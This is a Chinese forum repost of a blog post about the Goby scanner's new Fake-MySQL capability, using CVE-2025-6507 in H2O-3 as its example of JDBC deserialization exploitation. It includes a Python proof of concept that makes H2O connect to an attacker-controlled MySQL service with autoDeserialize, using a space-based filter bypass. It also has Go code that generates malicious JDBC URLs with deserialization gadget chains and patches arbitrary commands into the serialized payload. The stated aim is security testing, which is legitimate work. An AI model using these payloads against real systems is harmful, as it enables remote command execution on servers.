找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1622

积分

0

好友

232

主题
发表于 6 天前 | 查看: 19| 回复: 0

图片
图片

▌前言

在Goby EXP能力升级系列的往期文章中,我们探讨了HTTP独立服务与自定义FTP服务在漏洞利用中的扩展应用。本期,我们将聚焦于企业应用与中间件渗透测试中另一个高频场景——JDBC反序列化漏洞。这类漏洞通常潜伏在数据库连接模块中,当应用与外部服务交互时被触发,需要攻击者模拟一个能够返回恶意序列化数据的MySQL服务。本文将通过具体案例,剖析此类漏洞的复现痛点,并展示Goby EXP模块最新集成的Fake-MySQL能力如何实现一键自动化利用。

▌原理剖析:JDBC协议交互中的反序列化攻击链

要理解利用逻辑,首先需要厘清JDBC反序列化漏洞的攻击路径。我们以CVE-2025-6507为例进行说明。

H2O-3是H2o.ai开发的开源机器学习平台,广泛用于大数据分析与模型构建。在其ImportSQLTable功能中,用户可通过JDBC连接导入SQL数据。正是这一特性,使得攻击者可能通过控制JDBC URL参数来触发反序列化漏洞。尽管H2O尝试通过正则表达式过滤恶意输入,但研究证明,在参数间插入空格即可绕过防护。

该漏洞的核心在于JDBC协议的特性:当目标服务器使用特定版本的JDBC驱动(如存在缺陷的mysql-connector-java)发起数据库连接时,会解析服务端返回的数据流。如果驱动对反序列化过程缺乏充分校验,攻击者便可构造恶意序列化载荷注入响应流,从而在服务器端触发命令执行。

完整的攻击链路如下:

  1. 攻击者构造恶意JDBC连接URL,通过目标系统的SQL导入功能(如import_sql_table)诱导服务器主动发起连接。
  2. 目标服务器加载存在安全缺陷的JDBC驱动,与攻击者控制的恶意服务端建立TCP连接。
  3. 攻击者控制的恶意数据库模拟服务(Fake-MySQL)遵循MySQL协议规范,在交互过程中返回包含恶意反序列化链(Gadget)的二进制数据。
  4. 目标服务器在解析数据时触发反序列化漏洞,执行攻击者预设的任意命令。

img

此类漏洞利用的关键步骤(也是必要条件)在于:必须启动一个能够精准响应JDBC驱动请求的MySQL服务器或Fake-MySQL服务。该服务需模拟MySQL的握手、认证流程,并在执行查询时返回恶意的序列化数据。由于该漏洞依赖Jackson库,本地测试时通常需要在特定端口(如3308)启动一个Fake-MySQL服务来触发漏洞。

以下是针对H2O-3 3.46.0.7版本的靶场复现代码示例:

import h2o
# h2o Version: 3.46.0.7
h2o.init(
    extra_classpath=["./mysql-connector-java-8.0.19.jar"],
    max_mem_size="4g",
    port=54321
)
try:
    frame = h2o.import_sql_table(
        connection_url="jdbc:mysql://192.168.3.1:3308/test?  autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
        table="",
        username="demo",
        password="demo"
    )
except Exception as e:
    if "No suitable driver" in str(e):
        print("Exploit fail")

本地复现效果:
img

然而,传统利用方式存在明显局限:过于固定。每次只能针对单一命令启动一个服务,若需执行其他命令,必须手动修改序列化数据并重启服务。在实战的渗透测试场景中,还需额外配置公网VPS来承载Fake-MySQL服务,流程繁琐,效率低下。

▌Goby EXP能力新升级:一键自动化JDBC反序列化测试

为解决上述实战痛点,Goby EXP模块新增了CreatCustomJdbcConnect方法,将JDBC反序列化漏洞的EXP全流程自动化,显著提升了安全测试效率。该方法通过内置的Fake-MySQL服务器能力,支持两种方式设置序列化数据:一是通过指定Gadget链、分类(Category)和命令(Command)动态生成;二是直接使用自定义的十六进制序列化数据。这为安全研究人员编写漏洞EXP提供了极大的灵活性。

其实现结构如下图所示:
img

CreatCustomJdbcConnect方法支持以下核心功能:

  • 动态端口分配:自动分配可用端口,避免冲突。
  • 命令执行:支持Base64编码命令或原始命令字符串。
  • Gadget链支持:支持多种常见的反序列化利用链。
  • 超时控制:支持自定义连接超时时间。
  • 简化接口:返回标准化的JDBC连接字符串,便于直接嵌入攻击载荷。

该功能尤其适用于需要数据库连接能力的漏洞测试场景。CustomJdbcConnectReq结构体参数说明如下:

参数名 类型 说明 限制和注意事项
EncodedCommand string Base64编码的命令 Command二选一,优先使用EncodedCommand
Command string 原始命令字符串 EncodedCommand二选一,使用时需提供GadgetCategory
Gadget string 反序列化Gadget名称 使用Command时必须,如"CommonsCollections3"
Category string Gadget分类 使用Command时必须,如"jdk7"
Timeout int 连接超时时间(秒) 必须为正数,小于等于0时自动设置为60

基础使用代码示例:

// 创建自定义JDBC连接
req := godclient.CustomJdbcConnectReq{
    EncodedCommand: "base64编码的命令", // 可选,与Command二选一
    Command:        "原始命令",        // 可选,与EncodedCommand二选一
    Gadget:         "CommonsCollections3", // 使用Command时必需
    Category:       "jdk7",             // 使用Command时必需
    Timeout:        30,                 // 30秒超时
}
connectUrl, err := client.CreatCustomJdbcConnect(req)
if err != nil {
    return "", nil
}
// 使用返回的JDBC连接字符串构造攻击载荷
// connectUrl 格式: "jdbc:mysql://IP:端口"
payload := fmt.Sprintf("jdbc:mysql://%s/test?autoDeserialize=true&queryInterceptor=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections3_calc", connectUrl)
// 发起攻击请求
cfg := httpclient.NewGetRequestConfig("/vulnerable/endpoint")
cfg.Params.Add("url", payload)
resp, err := jsonvul.DoHttpRequestWithBaseDir(u, cfg)
if err != nil || resp.StatusCode != 200 {
   return "", nil
}

调用成功返回示例:

connectUrl, err := client.CreatCustomJdbcConnect(req)
// 成功时:
// connectUrl: "jdbc:mysql://123.45.67.89:12345"
// err: nil

Goby最终实现逻辑:通过使用Jackson反序列化链生成基础的十六进制序列化数据,然后通过字符串替换技术,动态修改其中的命令部分,实现任意命令的执行。接着,通过CustomJdbcConnectReq方法启动Fake-MySQL服务,并传入处理后的序列化数据,从而将整个复杂的利用流程简化为几行代码。

calculateHexValue := func(hexStr string) int {
    hexStr = strings.TrimLeft(hexStr, "0")
    if hexStr == "" {
        return 0
    }
    value, err := strconv.ParseInt(hexStr, 16, 32)
    if err != nil {
        return 0
    }
    return int(value)
}
replaceBothStrings := func(originalHex, customString string) (string, error) {
    customHex := hex.EncodeToString([]byte(customString))
    customLen := len(customString)
    originalLen := 4
    lenDiff := customLen - originalLen
    pattern1 := "0004ef"
    originalValue := calculateHexValue("04ef")
    newValue := originalValue + lenDiff
    replacement1 := fmt.Sprintf("%06x", newValue)
    pattern2 := "000463616c63"
    replacement2 := fmt.Sprintf("%04x%s", customLen, customHex)
    result := strings.Replace(originalHex, pattern1, replacement1, 1)
    result = strings.Replace(result, pattern2, replacement2, 1)
    return result, nil
}
        originalHex := "" //  Jackson链生成的原始序列化数据(十六进制)
    payloadHex, err := replaceBothStrings(originalHex, command)
    if err != nil {
        return nil, err
    }
    host, err := godclient.CreatCustomJdbcConnect(godclient.CustomJdbcConnectReq{
        EncodedCommand: payloadHex,
        Timeout: 30,
    })
    if err != nil {
        return nil, err
    }
    jdbcUrl := host + `/test?  autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor`

最终的Goby一键验证与利用效果如下方动图所示:
img

▌总结

本文以CVE-2025-6507(H2O-3 JDBC反序列化漏洞)为例,详细拆解了JDBC反序列化攻击链,并重点介绍了Goby EXP模块新增的CreatCustomJdbcConnect方法。该方法有效解决了传统复现方法中调试复杂、依赖外网服务等痛点,通过简洁的代码即可实现从服务启动到命令执行的全程自动化,为同类Java反序列化漏洞的测试与研究提供了极大的便利。

▌参考




上一篇:Quarkdown技术指南:扩展Markdown语法实现文档代码化与自动化输出
下一篇:Windows应急响应实战:Phobos勒索病毒入侵排查与处置全记录
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 22:55 , Processed in 0.267659 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表